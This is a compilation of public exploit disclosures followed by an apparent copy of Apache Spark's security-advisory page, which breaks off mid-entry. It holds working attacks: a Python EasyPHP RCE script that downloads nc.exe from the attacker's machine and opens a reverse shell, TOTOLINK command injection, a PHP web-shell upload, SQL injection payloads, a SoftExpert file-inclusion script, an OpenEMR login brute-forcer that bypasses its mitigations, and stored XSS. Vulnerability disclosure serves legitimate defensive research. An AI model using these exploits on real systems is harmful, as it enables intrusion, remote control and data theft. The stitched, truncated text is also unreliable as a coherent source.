EasyPHP Webserver version 14.1 suffers from remote code execution and path traversal vulnerabilities.

# Exploit Title: EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and  
Path Traversal)  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2022-02-06  
# Vendor Homepage: https://www.easyphp.org/  
# Software Link : https://www.easyphp.org/  
# Tested Version: 14.1  
# Tested on:  Windows 7 and 10

# Vulnerability Type: Remote Command Execution (RCE)

CVSS v3: 9.8  
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
CWE: CWE-78

Vulnerability description: There is an OS Command Injection in EasyPHP  
Webserver 14.1 that allows an attacker to achieve Remote Code Execution  
(RCE) with administrative privileges.

Proof of concept:

To detect:

POST http://127.0.0.1:10000/index.php?zone=settings HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)  
Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 28  
Origin: http://127.0.0.1:10000  
Connection: keep-alive  
Referer: http://127.0.0.1:10000/index.php?zone=settings  
Host: 127.0.0.1:10000

app_service_control=calc.exe

The calculator opens.

Exploit:

# !/usr/bin/python3  
import requests  
import sys

if len(sys.argv) != 5:  
    print("RCE: EasyPHP Webserver 14.1 and before - by Rafa")  
    print("Usage:   %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT>" %  
sys.argv[0])  
    print("Example:   %s 192.168.1.10 10000 192.168.1.11 9001" %  
sys.argv[0])  
    exit(1)

else:  
    target = sys.argv[1]  
    targetport = sys.argv[2]  
    localip = sys.argv[3]  
    localport = sys.argv[4]  
    # python3 -m http.server / python2 -m SimpleHTTPServer with nc.exe in  
the directory

    payload =  
"powershell+-command+\"((new-object+System.Net.WebClient).DownloadFile('http://"  
+ localip + ':8000' +  
"/nc.exe','%TEMP%\\nc.exe'))\";\"c:\windows\\system32\\cmd.exe+/c+%TEMP%\\nc.exe+"  
+ localip + "+" + localport + "+-e+cmd.exe\""  
    print (payload)  
    url = 'http://' + target + ':' + targetport + '/index.php?zone=settings'  
    headers = {  
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4433.0 Safari/537.36"  
    }  
    data = {'app_service_control':payload}

    try:  
        r = requests.post(url, headers=headers, data=data)  
    except requests.exceptions.ReadTimeout:  
        print("The payload has been sent. Check it!")  
        pass

# Vulnerability Type: Path Traversal

CVSS v3: 6.5  
CVSS vector: 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  
CWE: CWE-22

Vulnerability description: An issue was discovered in EasyPHP Webserver  
14.1. An Absolute Path Traversal vulnerability in / allows remote users to  
bypass intended SecurityManager restrictions and download any file if you  
have adequate permissions outside the documentroot configured on the server.

Proof of concept:

GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini  
HTTP/1.1  
Host: 192.168.X.X:10000  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,  
like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*

HTTP/1.1 200 OK  
Host: 192.168.X.X:10000  
Connection: close  
Content-Type: application/octet-stream  
Content-Length: 499

; for 16-bit app support [fonts] [extensions] [mci extensions] [files]  
[Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMCDLLNAME=mapi.dll CMC=1 MAPIX=1  
MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo  
3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo  
adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo  
m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo  
mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo

EasyPHP Webserver 14.1 Path Traversal / Remote Code Execution

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

TOTOLINK X5000R (V9.1.0u.6369\_B20230113)was found to contain a command insertion vulnerability in setting/setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.3.2
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 82
    Origin: http://192.168.3.2
    Connection: close
    Referer: http://192.168.3.2/advance/traceroute.html?time=1679125513355
    Cookie: SESSION_ID=2:1679122532:2
    
    {"command":"127.0.0.1; pwd > /tmp/1.txt;","num":"4","topicurl":"setTracerouteCfg"}
    

Finally, you can write exp to get a stable root shell without authorization.

CVE-2023-30013: vuln/TOTOLINK/X5000R/2 at main · Kazamayc/vuln

An arbitrary file upload vulnerability in the component /admin/ajax.php?action=save_menu of Online Food Ordering System v2.0 allows attackers to execute arbitrary code via uploading a crafted PHP file.

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**Online Food Ordering System v2.0 by oretnom23 has arbitrary code execution (RCE)**

BUG\_Author: xtxxueyan

vendors: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability url: ip/fos/admin/ajax.php?action=save\_menu

Loophole location: Judging Management System's "/fos/admin/ajax.php?action=save\_menu" file exists arbitrary file upload (RCE)

Request package for file upload：

POST /fos/admin/ajax.php?action\=save\_menu HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/fos/admin/index.php?page=menu
Content-Length: 808
Content-Type: multipart/form-data; boundary=---------------------------11146509511477
Cookie: PHPSESSID=iuka6rklteufkt7v952vs2g4eq
Connection: close
\-----------------------------11146509511477
Content-Disposition: form-data; name="id"
\-----------------------------11146509511477
Content-Disposition: form-data; name="name"
11
\-----------------------------11146509511477
Content-Disposition: form-data; name="description"
1
\-----------------------------11146509511477
Content-Disposition: form-data; name="status"
on
\-----------------------------11146509511477
Content-Disposition: form-data; name="category\_id"
1
\-----------------------------11146509511477
Content-Disposition: form-data; name="price"
111
\-----------------------------11146509511477
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
\-----------------------------11146509511477--

The files will be uploaded to this directory \\fos\\assets\\img 

We visited the directory of the file in the browser and found that the code had been executed

CVE-2023-30122: bug_report/RCE-1.md at main · xtxxueyan/bug_report

Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the event_id parameter at /php-jms/result_sheet.php.

**Judging Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: M1st

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/result\_sheet.php?event\_id=

Vulnerability location: /php-jms/result\_sheet.php?event\_id=, event\_id

dbname =jms\_db

\[+\] Payload: /php-jms/result\_sheet.php?event\_id=-1%27%20union%20select%201,2,3,database(),5,6,7,8,9,10,11--+ // Leak place ---> event\_id

GET /php\-jms/result\_sheet.php?event\_id\=\-1%27%20union%20select%201,2,3,database(),5,6,7,8,9,10,11\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: close

CVE-2023-30203: bug_report/SQLi-2.md at main · debug601/bug_report

Judging Management System v1.0 by oretnom23 was discovered to vulnerable to SQL injection via /php-jms/review_result.php?mainevent_id=, mainevent_id.

**Judging Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/review\_result.php?mainevent\_id=

Vulnerability location: /php-jms/review\_result.php?mainevent\_id=, mainevent\_id

dbname =jms\_db

\[+\] Payload: /php-jms/review\_result.php?mainevent\_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+// Leak place ---> mainevent\_id

​sql GET /php-jms/review_result.php?mainevent_id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1 Connection: close ​

CVE-2023-30077: cve_report/SQLi-1.md at main · Dzero57/cve_report

Judging Management System v1.0 was discovered to contain a SQL injection vulnerability via the judge_id parameter at /php-jms/edit_judge.php.

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**Judging Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: whoamikey

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/edit\_judge.php?sub\_event\_id=&se\_name=&judge\_id=

Vulnerability location: /php-jms/edit\_judge.php?sub\_event\_id=&se\_name=&judge\_id=, judge\_id

dbname =jms\_db

\[+\] Payload: /php-jms/edit\_judge.php?sub\_event\_id=&se\_name=&judge\_id=-1%27%20union%20select%201,2,database(),4,5,6--+ // Leak place ---> judge\_id

GET /php\-jms/edit\_judge.php?sub\_event\_id\=&se\_name\=&judge\_id\=\-1%27%20union%20select%201,2,database(),4,5,6\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: closes

CVE-2023-30204: bug_report/SQLi-3.md at main · debug601/bug_report

SoftExpert Suite version 2.1.3 suffers from a local file inclusion vulnerability.

    # Exploit Title: SoftExpert (SE) Suite v2.1.3 - Local File Inclusion# Date: 27-04-2023# Exploit Author: Felipe Alcantara (Filiplain)# Vendor Homepage: https://www.softexpert.com/# Version: 2.0 < 2.1.3# Tested on: Kali Linux# CVE : CVE-2023-30330# SE Suite versions tested: 2.0.15.31, 2.0.15.115# https://github.com/Filiplain/LFI-to-RCE-SE-Suite-2.0# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30330#!/bin/bash# Usage: ./lfi-poc.sh <domain> <username> <password> <File Path> target=$1u=$2p=$3file=$(echo -n "$4"|base64 -w 0)end="\033[0m\e[0m"red="\e[0;31m\033[1m"blue="\e[0;34m\033[1m"echo -e "\n$4 : $file\n"echo -e "${blue}\nGETTING SESSION COOKIE${end}"cookie=$(curl -i -s -k -X $'POST' \    -H "Host: $target" -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Length: 213' -H "Origin: https://$target" -H "Referer: https://$target/softexpert/login?page=home" -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' -H $'Connection: close' \    -b $'language=1; _ga=GA1.3.151610227.1675447324; SEFGLANGUAGE=1; mode=deploy' \    --data-binary "json=%7B%22AuthenticationParameter%22%3A%7B%22language%22%3A3%2C%22hashGUID%22%3Anull%2C%22domain%22%3A%22%22%2C%22accessType%22%3A%22DESKTOP%22%2C%22login%22%3A%22$u%22%2C%22password%22%3A%22$p%22%7D%7D" \    "https://$target/softexpert/selogin"|grep se-authentication-token |grep "=" |cut -d ';' -f 1|sort -u|cut -d "=" -f 2)echo "cookie: $cookie"function LFI () {curl -s -k -X $'POST' \    -H "Host: $target" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H "Origin: https://$target" -H "Referer: https://$target/softexpert/workspace?page=home" -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Te: trailers' -H 'Connection: close' \    -b "se-authentication-token=$cookie; _ga=GA1.3.151610227.1675447324; SEFGLANGUAGE=1; mode=deploy" \    --data-binary "action=4&managerName=lol&managerPath=$file&className=ZG9jX2RvY3VtZW50X2FkdmFuY2VkX2dyb3VwX2ZpbHRlcg%3D%3D&instantiate=false&loadJquery=false" \    "https://$target/se/v42300/generic/gn_defaultframe/2.0/defaultframe_filter.php"}echo -e "${blue}\nExploiting LFI:${end}"LFIfunction logout () {curl -i -s -k -X $'POST' \    -H "Host: $target" -H $'Content-Length: 0' -H $'Sec-Ch-Ua: \"Not_A Brand\";v=\"99\", \"Google Chrome\";v=\"109\", \"Chromium\";v=\"109\"' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36' -H $'Sec-Ch-Ua-Platform: \"Linux\"' -H "Origin: https://$target" -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H "Referer: https://$target/softexpert/workspace?page=home" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \    -b "se-authentication-token=$cookie; language=1; _ga=GA1.3.1890963078.1675081150; twk_uuid_5db840c5e4c2fa4b6bd8f89a=%7B%22uuid%22%3A%221.bJmDVb5PBlMumGNq2QO9gxk5hjdc6sp2pgENmao2hxHntg00r0qllmuXqCXTWG9uYLT1GkRDFuPY4ir63UIEJEXSS0pIJi8YlIvsB4edfrG1RTcS3CPr58feQBNf1%22%2C%22version%22%3A3%2C%22domain%22%3A%22$target%22%2C%22ts%22%3A1675081174571%7D; mode=deploy" \    "https://$target/softexpert/selogout"}echo -e "${blue}\nLogging out${end}"logout >/dev/nullecho -e "\n\nDone!"

SoftExpert Suite 2.1.3 Local File Inclusion

OpenEMR versions 7.0.1 and below remote authentication bruteforcing tool that bypasses mitigations.

    # Exploit Title: OpenEMR v7.0.1 - Authentication credentials brute force# Date: 2023-04-28# Exploit Author: abhhi (Abhishek Birdawade)# Vendor Homepage: https://www.open-emr.org/# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v7_0_1.tar.gz# Version: 7.0.1# Tested on: Windows'''Example Usage:- python3 exploitBF.py -l "http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default" -u username -p pass.txt '''import requestsimport sysimport argparse, textwrapfrom pwn import *#Expected Argumentsparser = argparse.ArgumentParser(description="OpenEMR <= 7.0.1 Authentication Bruteforce Mitigation Bypass", formatter_class=argparse.RawTextHelpFormatter, epilog=textwrap.dedent(''' Exploit Usage : python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -u username -p pass.txtpython3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul user.txt -p pass.txtpython3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul /Directory/user.txt -p /Directory/pass.txt'''))                     parser.add_argument("-l","--url", help="Path to OpenEMR (Example: http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default)") parser.add_argument("-u","--username", help="Username to Bruteforce for.")parser.add_argument("-ul","--userlist", help="Username Dictionary")  parser.add_argument("-p","--passlist", help="Password Dictionary")    args = parser.parse_args()if len(sys.argv) < 2:    print (f"Exploit Usage: python3 exploitBF.py -h")              sys.exit(1)  # VariableLoginPage = args.urlUsername = args.usernameUsername_list = args.userlistPassword_list = args.passlistlog.info('OpenEMR Authentication Brute Force Mitigation Bypass Script by abhhi \n ')def login(Username,Password):    session = requests.session()              r = session.get(LoginPage) # Progress Check        process = log.progress('Brute Force')#Specifying Headers Value    headerscontent = {    'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',    'Referer' : f"{LoginPage}",    'Origin' : f"{LoginPage}",    }#POST REQ data    postreqcontent = {    'new_login_session_management' : 1,    'languageChoice' : 1,    'authUser' : f"{Username}",    'clearPass' : f"{Password}"    }#Sending POST REQ    r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)#Printing Username:Password                process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))            #Conditional loops        if 'Location' in r.headers:        if "/interface/main/tabs/main.php" in r.headers['Location']:            print()            log.info(f'SUCCESS !!')            log.success(f"Use Credential -> {Username}:{Password}")            sys.exit(0)        #Reading User.txt & Pass.txt filesif Username_list:    userfile = open(Username_list).readlines()    for Username in userfile:        Username = Username.strip() passfile = open(Password_list).readlines()for Password in passfile:    Password = Password.strip()       login(Username,Password)

OpenEMR 7.0.1 Authentication Bruteforce Mitigation Bypass

PHPJabbers Simple CMS version 5.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS)# Date: 2023-04-29# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://www.phpjabbers.com/faq.php# Software Link: https://www.phpjabbers.com/simple-cms/# Version: 5.0# Tested on: Kali Linux### Steps to Reproduce ###- Please login from this address:https://localhost/simplecms/index.php?controller=pjAdmin&action=pjActionLogin- Click on the "Add Section" button.- Then enter the payload ("><img src=x onerror=alert("Stored")>) in the"Section" box and save it.- Boom! An alert message saying "Stored" will appear in front of you.### PoC Request ###POST /simplecms/index.php?controller=pjAdminSections&action=pjActionCreateHTTP/1.1Host: localhostCookie: pj_sid=PJ1.0.6199026527.1682777172;pj_so=PJ1.0.6771252593.1682777172; pjd_1682777220_628=1;PHPSESSID=bmannt0kqjm2m0vmb5vj1dbu57; simpleCMS=ejrnh4bmb0ems1j4e4r9fq4eq1;pjd=7l9bb4ubmknrdbns46j7g5cqn7User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 371Origin: https://localhostReferer:https://localhost/simplecms/index.php?controller=pjAdminSections&action=pjActionCreateUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: closesection_create=1&i18n%5B1%5D%5Bsection_name%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%3E&i18n%5B2%5D%5Bsection_name%5D=&i18n%5B3%5D%5Bsection_name%5D=&i18n%5B1%5D%5Bsection_content%5D=%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%26gt%3B%3C%2Fp%3E&i18n%5B2%5D%5Bsection_content%5D=&i18n%5B3%5D%5Bsection_content%5D=&url=&status=T

PHPJabbers Simple CMS 5.0 Cross Site Scripting

** UNSUPPORTED WHEN ASSIGNED ** The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This issue was disclosed earlier as CVE-2022-33891, but incorrectly claimed version 3.1.3 (which has since gone EOL) would not be affected.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Users are recommended to upgrade to a supported version of Apache Spark, such as version 3.4.0.




**Reporting security issues**

Apache Spark uses the standard process outlined by the Apache Security Team for reporting vulnerabilities. Note that vulnerabilities should not be publicly disclosed until the project has responded.

To report a possible security vulnerability, please email security@spark.apache.org. This is a non-public list that will reach the Apache Security team, as well as the Spark PMC.

**Known security issues****CVE-2023-22946: Apache Spark proxy-user privilege escalation from malicious configuration class**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Versions prior to 3.4.0

Description:

In Apache Spark versions prior to 3.4.0, applications using spark-submit can specify a ‘proxy-user’ to run as, limiting privileges. The application can execute code with the privileges of the submitting user, however, by providing malicious configuration-related classes on the classpath. This affects architectures relying on proxy-user, for example those using Apache Livy to manage submitted applications.

This issue is being tracked as SPARK-41958

Mitigation:

*   Update to Apache Spark 3.4.0 or later, and ensure that spark.submit.proxyUser.allowCustomClasspathInClusterMode is set to its default of “false”, and is not overridden by submitted applications.

Credit:

*   Hideyuki Furue (finder)
*   Yi Wu (Databricks) (remediation developer)

**CVE-2022-31777: Apache Spark XSS vulnerability in log viewer UI Javascript**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   3.2.1 and earlier
*   3.3.0

Description:

A stored cross-site scripting (XSS) vulnerability in Apache Spark 3.2.1 and earlier, and 3.3.0, allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload into the logs which would be returned in logs rendered in the UI.

Mitigation:

*   Upgrade to Spark 3.2.2, or 3.3.1 or later

Credit:

*   Florian Walter (Veracode)

**CVE-2022-33891: Apache Spark shell command injection vulnerability via Spark UI**

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

*   3.1.3 and earlier
*   3.2.0 to 3.2.1

Description:

The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as.

Mitigation

*   Update to Spark 3.2.2, or 3.3.0 or later

Credit:

*   Kostya Torchinsky (Databricks)

**CVE-2021-38296: Apache Spark™ Key Negotiation Vulnerability**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Apache Spark 3.1.2 and earlier

Description:

Apache Spark supports end-to-end encryption of RPC connections via spark.authenticate and spark.network.crypto.enabled. In versions 3.1.2 and earlier, it uses a bespoke mutual authentication protocol that allows for full encryption key recovery. After an initial interactive attack, this would allow someone to decrypt plaintext traffic offline. Note that this does not affect security mechanisms controlled by spark.authenticate.enableSaslEncryption, spark.io.encryption.enabled, spark.ssl, spark.ui.strictTransportSecurity.

Mitigation:

*   Update to Spark 3.1.3 or later

Credit:

*   Steve Weis (Databricks)

**CVE-2020-9480: Apache Spark™ RCE vulnerability in auth-enabled standalone master**

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

*   Apache Spark 2.4.5 and earlier

Description:

In Apache Spark 2.4.5 and earlier, a standalone resource manager’s master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application’s resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine.

This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).

Mitigation:

*   Users should update to Spark 2.4.6 or 3.0.0.
*   Where possible, network access to the cluster machines should be restricted to trusted hosts only.

Credit:

*   Ayoub Elaassal

**CVE-2019-10099: Apache Spark™ unencrypted data on local disk**

Severity: Important

Vendor: The Apache Software Foundation

Versions affected:

*   All Spark 1.x, Spark 2.0.x, Spark 2.1.x, and 2.2.x versions
*   Spark 2.3.0 to 2.3.2

Description:

Prior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.

Mitigation:

*   1.x, 2.0.x, 2.1.x, 2.2.x, 2.3.x users should upgrade to 2.3.3 or newer, including 2.4.x

Credit:

*   This issue was reported by Thomas Graves of NVIDIA.

**CVE-2018-11760: Apache Spark™ local privilege escalation vulnerability**

Severity: Important

Vendor: The Apache Software Foundation

Versions affected:

*   All Spark 1.x, Spark 2.0.x, and Spark 2.1.x versions
*   Spark 2.2.0 to 2.2.2
*   Spark 2.3.0 to 2.3.1

Description:

When using PySpark, it’s possible for a different local user to connect to the Spark application and impersonate the user running the Spark application. This affects versions 1.x, 2.0.x, 2.1.x, 2.2.0 to 2.2.2, and 2.3.0 to 2.3.1.

Mitigation:

*   1.x, 2.0.x, 2.1.x, and 2.2.x users should upgrade to 2.2.3 or newer
*   2.3.x users should upgrade to 2.3.2 or newer
*   Otherwise, affected users should avoid using PySpark in multi-user environments.

Credit:

*   Luca Canali and Jose Carlos Luna Duran, CERN

**CVE-2018-17190: Unsecured Apache Spark™ standalone executes user code**

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:

*   All versions of Apache Spark

Description:

Spark’s standalone resource manager accepts code to execute on a ‘master’ host, that then runs that code on ‘worker’ hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.

Mitigation:

Enable authentication on any Spark standalone cluster that is not otherwise secured from unwanted access, for example by network-level restrictions. Use spark.authenticate and related security properties described at https://spark.apache.org/docs/latest/security.html

Credit:

*   Andre Protas, Apple Information Security

**CVE-2018-11804: Apache Spark™ build/mvn runs zinc, and can expose information from build machines**

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected

*   2.1.x release branch and earlier
*   2.2.x release branch before Spark 2.2.3
*   2.3.x release branch before Spark 2.3.3

Description:

Spark’s Apache Maven-based build includes a convenience script, ‘build/mvn’, that downloads and runs a zinc server to speed up compilation. This server will accept connections from external hosts by default. A specially-crafted request to the zinc server could cause it to reveal information in files readable to the developer account running the build. Note that this issue does not affect end users of Spark, only developers building Spark from source code.

Mitigation:

*   Spark users are not affected, as zinc is only a part of the build process.
*   Spark developers may simply use a local Maven installation’s ‘mvn’ command to build, and avoid running build/mvn and zinc.
*   Spark developers building actively-developed branches (2.2.x, 2.3.x, 2.4.x, master) may update their branches to receive mitigations already patched onto the build/mvn script
*   Spark developers running zinc separately may include “-server 127.0.0.1” in its command line, and consider additional flags like “-idle-timeout 30m” to achieve similar mitigation.

Credit:

*   Andre Protas, Apple Information Security

**CVE-2018-11770: Apache Spark™ standalone master, Mesos REST APIs not controlled by authentication**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Spark versions from 1.3.0, running standalone master with REST API enabled, or running Mesos master with cluster mode enabled; suggested mitigations resolved the issue as of Spark 2.4.0.

Description:

From version 1.3.0 onward, Spark’s standalone master exposes a REST API for job submission, in addition to the submission mechanism used by spark-submit. In standalone, the config property spark.authenticate.secret establishes a shared secret for authenticating requests to submit jobs via spark-submit. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API. This REST API is also used by Mesos, when set up to run in cluster mode (i.e., when also running MesosClusterDispatcher), for job submission. Future versions of Spark will improve documentation on these points, and prohibit setting spark.authenticate.secret when running the REST APIs, to make this clear. Future versions will also disable the REST API by default in the standalone master by changing the default value of spark.master.rest.enabled to false.

Mitigation:

For standalone masters, disable the REST API by setting spark.master.rest.enabled to false if it is unused, and/or ensure that all network access to the REST API (port 6066 by default) is restricted to hosts that are trusted to submit jobs. Mesos users can stop the MesosClusterDispatcher, though that will prevent them from running jobs in cluster mode. Alternatively, they can ensure access to the MesosRestSubmissionServer (port 7077 by default) is restricted to trusted hosts.

Credit:

*   Imran Rashid, Cloudera
*   Fengwei Zhang, Alibaba Cloud Security Team

**CVE-2018-8024: Apache Spark™ XSS vulnerability in UI**

Severity: Medium

Versions Affected:

